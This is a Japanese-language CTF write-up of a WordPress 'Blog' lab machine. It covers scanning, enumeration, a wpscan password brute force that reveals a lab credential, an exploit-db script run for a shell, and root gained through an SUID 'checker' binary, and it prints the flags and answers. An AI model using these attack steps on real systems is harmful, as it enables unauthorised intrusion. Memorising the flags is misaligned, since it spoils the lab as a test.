reconn
┌──(notthei㉿kali)-[~]
└─$ nmap -sV -T4 10.10.176.53
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 09:39 JST
Nmap scan report for 10.10.176.53
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.94 seconds
enumration
gobusterでディレクトリの列挙をします。
┌──(notthei㉿kali)-[~]
└─$ gobuster dir -u http://10.10.176.53 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.176.53
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/0 (Status: 301) [Size: 0] [--> http://10.10.176.53/0/]
/admin (Status: 302) [Size: 0] [--> http://blog.thm/wp-admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/atom/]
/dashboard (Status: 302) [Size: 0] [--> http://blog.thm/wp-admin/]
/embed (Status: 301) [Size: 0] [--> http://10.10.176.53/embed/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/index.php (Status: 301) [Size: 0] [--> http://10.10.176.53/]
/login (Status: 302) [Size: 0] [--> http://blog.thm/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.176.53/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/rdf/]
/robots.txt (Status: 200) [Size: 67]
/rss (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/server-status (Status: 403) [Size: 277]
/wp-admin (Status: 301) [Size: 315] [--> http://10.10.176.53/wp-admin/]
/wp-content (Status: 301) [Size: 317] [--> http://10.10.176.53/wp-content/]
/wp-includes (Status: 301) [Size: 318] [--> http://10.10.176.53/wp-includes/]
/xmlrpc.php (Status: 405) [Size: 42]
/etc/hosts
にblog.thm
を追加します。
SMB
smbの列挙をします
enum4linux
を叩いたらSharenameBillySMB
を発見しました。
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
wpscan
コマンドを使用します。
┌──(notthei㉿kali)-[~]
└─$ wpscan --url http://blog.thm -e u
WordPress version 5.0
だとわかりました。
What version of the above CMS was being used?
5.0
What CMS was Billy using?
Wordpress
スキャンの結果からアカウント情報など取得できました。
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] Billy Joel
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
そのままwpscan
でアカウントのパスワードをクラックします
kwheel
とbjoel
がAuthor以上の権限を所有しているので二つにやります
┌──(notthei㉿kali)-[~]
└─$ wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 64
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - kwheel / cutiepie1
見つかりました。
intrusion
私はmetasploit
アンチなのでexploit.dbでexploit
を探します。
これを使います。
┌──(notthei㉿kali)-[~/THM/Blog]
└─$python3 exploit.py http://blog.thm wpscan cutiepie1 twentytwenty
www-dataに侵入できました。
user.txtを探したら/home/bjoel
にありましたが中身が偽物でした。
what tha f0000000k
cat /home/bjoel/user.txt
You won't find what you're looking for here.
TRY HARDER
怪しいファイルがないかSUID
の検索をします
www-data@blog:/var/www/wordpress$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/*
*/
/usr/sbin/checker
checker
という怪しげな実行ファイルを見つけました。
実行結果は以下になります。
www-data@blog:/usr/sbin$ checker
checker
Not an Admin
admin
ではないからだそうです。
以前CTFで似たようなのがあり、環境変数にadmin
を入れたらできたのでワンチャン今回も、と思いとりあえずやってみます。
できなければおとなしくghidraで解析します。
www-data@blog:/usr/sbin$ export admin=admin
export admin=admin
www-data@blog:/usr/sbin$ checker
checker
root@blog:/usr/sbin# whoami
whoami
root
あっさりrootが取れてしまいました。
ghidraで解析したかった()
root.txt
基本/root
にあるので移動します。
root@blog:/root# cat root.txt
cat root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
発見しました。
9a0b2b618bef9bfa7ac28c1353d9f318
Where was user.txt found?
find
コマンドの結果からuser.txtのパスは/home/bjoel/user.txt
が偽物だったので、/media/usb/
になります。
/media/usb
user.txt
find
コマンドで探します
root@blog:/root# find / 2>/dev/null | grep user.txt
find / 2>/dev/null | grep user.txt
/home/bjoel/user.txt
/media/usb/user.txt
root@blog:/root# cat /media/usb/user.txt
cat /media/usb/user.txt
c8421899aae571f7af486492b71a8ab7
c8421899aae571f7af486492b71a8ab7